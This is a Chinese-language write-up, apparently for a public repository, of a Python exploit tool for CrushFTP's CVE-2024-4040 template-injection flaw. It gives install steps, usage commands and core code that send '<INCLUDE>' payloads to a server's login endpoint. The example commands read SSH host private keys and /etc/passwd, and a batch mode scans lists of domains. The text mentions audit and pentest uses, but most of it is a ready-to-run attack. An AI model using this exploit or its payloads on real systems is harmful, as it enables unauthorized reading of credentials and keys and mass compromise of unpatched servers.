CrushFTP CVE-2024-4040 漏洞利用工具 - 服务器端模板注入检测与文件读取

4 阅读3分钟

CVE-2024-4040 - CrushFTP 服务器端模板注入漏洞利用工具

项目描述

本项目是一个针对 CrushFTP 服务器端模板注入漏洞(CVE-2024-4040)的安全检测与利用工具。该漏洞影响 CrushFTP 所有 10.7.1 之前及 11.1.0 之前的版本,允许未授权的远程攻击者突破 VFS 沙盒限制,读取文件系统敏感信息、绕过认证获取管理权限,并可实现远程代码执行。

功能特性

  • 单目标漏洞检测:针对指定 IP/域名和端口进行模板注入检测
  • 任意文件读取:通过模板注入读取服务器文件系统中的任意文件
  • 批量扫描:支持从文件中批量读取目标域名列表进行大规模检测
  • 灵活的文件读取语法:支持使用 <INCLUDE> 标签或其他自定义标签构造 payload
  • Cookie 会话保持:自动处理登录会话和认证 Cookie 传递
  • SSL 错误抑制:支持检测受自签名证书影响的 HTTPS 目标

安装指南

系统要求

  • Python 3.6+
  • pip3 包管理器

安装步骤

# 克隆项目仓库
git clone https://github.com/gotr00t0day/CVE-2024-4040.git

# 进入项目目录
cd CVE-2024-4040

# 安装依赖
pip3 install -r requirements.txt

依赖项

  • requests - HTTP 请求库
  • colorama - 终端彩色输出
  • argparse - 命令行参数解析(Python 标准库)

使用说明

命令行参数

参数简写说明
--target-t目标地址,例如 http://192.168.1.100:8080
--file-f要读取的文件路径或注入 payload(如 <INCLUDE>filename</INCLUDE>
--domains-d包含多个目标域名的文件路径(每行一个)

基础使用示例

1. 单个目标漏洞检测与文件读取
# 读取 SSH 主机私钥文件
python3 CVE-2024-4040.py -t http://192.168.1.100:8080 -f "<INCLUDE>ssh_host_rsa_key</INCLUDE>"

# 读取系统配置文件
python3 CVE-2024-4040.py -t https://target.com:443 -f "<INCLUDE>/etc/passwd</INCLUDE>"
2. 批量扫描多个目标
# 使用域名列表文件批量检测
python3 CVE-2024-4040.py -d targets.txt -f "%hostname%"

典型使用场景

  1. 安全审计:对企业内部的 CrushFTP 服务进行漏洞排查
  2. 渗透测试:验证目标服务器是否存在 CVE-2024-4040 漏洞
  3. 应急响应:快速检测线上环境是否受该漏洞影响
  4. 批量资产检测:扫描大量 CrushFTP 服务实例的脆弱性

输出说明

  • [+] TARGET - VULNERABLE! - 绿色提示,表示目标存在漏洞且成功读取文件内容
  • 无输出或连接错误 - 目标可能已修复漏洞或存在网络问题

核心代码

漏洞检测核心函数

def check_vulnerability(target: str, response_text: str, file: str):
    """
    检测响应中是否包含漏洞利用成功的特征标记
    
    参数:
        target: 目标服务器地址
        response_text: 服务器返回的响应内容
        file: 请求的文件路径或payload
    """
    if "<commandResult>" in response_text:
        print(f"{Fore.GREEN}[+] {Fore.WHITE}{target} - VULNERABLE!{Fore.RESET}\n")

文件读取攻击实现

def get_files(target: str, file: str) -> str:
    """
    向目标CrushFTP服务器发送模板注入请求
    
    流程:
    1. 创建会话并访问登录页面获取Cookie
    2. 构造包含恶意payload的POST数据
    3. 携带认证Cookie发送攻击请求
    4. 调用检测函数判断漏洞是否存在
    """
    try:
        s = requests.Session()
        r = s.post(f"http://{target}/WebInterface/login.html")
        cookies = r.cookies

        data = {
            "command": "exists",
            "paths": fr"{file}",  # 模板注入payload
        }

        # 处理认证Cookie
        if 'currentAuth' in cookies:
            data['c2f'] = cookies['currentAuth']

        r = s.post(f"http://{target}/WebInterface/login.html", 
                   data=data, cookies=cookies, headers=header)

        check_vulnerability(target, r.text, file)

    except requests.exceptions.SSLError as e:
        print(e)
    except requests.exceptions.ConnectionError:
        pass

批量扫描实现

def scan_domain(file: str, command: str):
    """
    从文件中批量读取域名并进行漏洞扫描
    
    参数:
        file: 包含域名列表的文件路径
        command: 要执行的读取payload
    """
    with open(file, "r") as f:
        domains = [x.strip() for x in f.readlines()]
    
    for domainlist in domains:
        get_files(domainlist, command)

主程序入口

if __name__ == "__main__":
    # 单目标模式
    if args.target:
        if args.file:
            get_files(args.target, args.file)
    
    # 批量扫描模式
    if args.domains:
        if args.file:
            scan_domain(args.domains, args.file)

技术分析参考

如需深入了解漏洞原理和利用细节,请查阅 AttackerKB 的 CVE-2024-4040 分析报告。 6HFtX5dABrKlqXeO5PUv/516zftukeAGUTREt0kqWDo=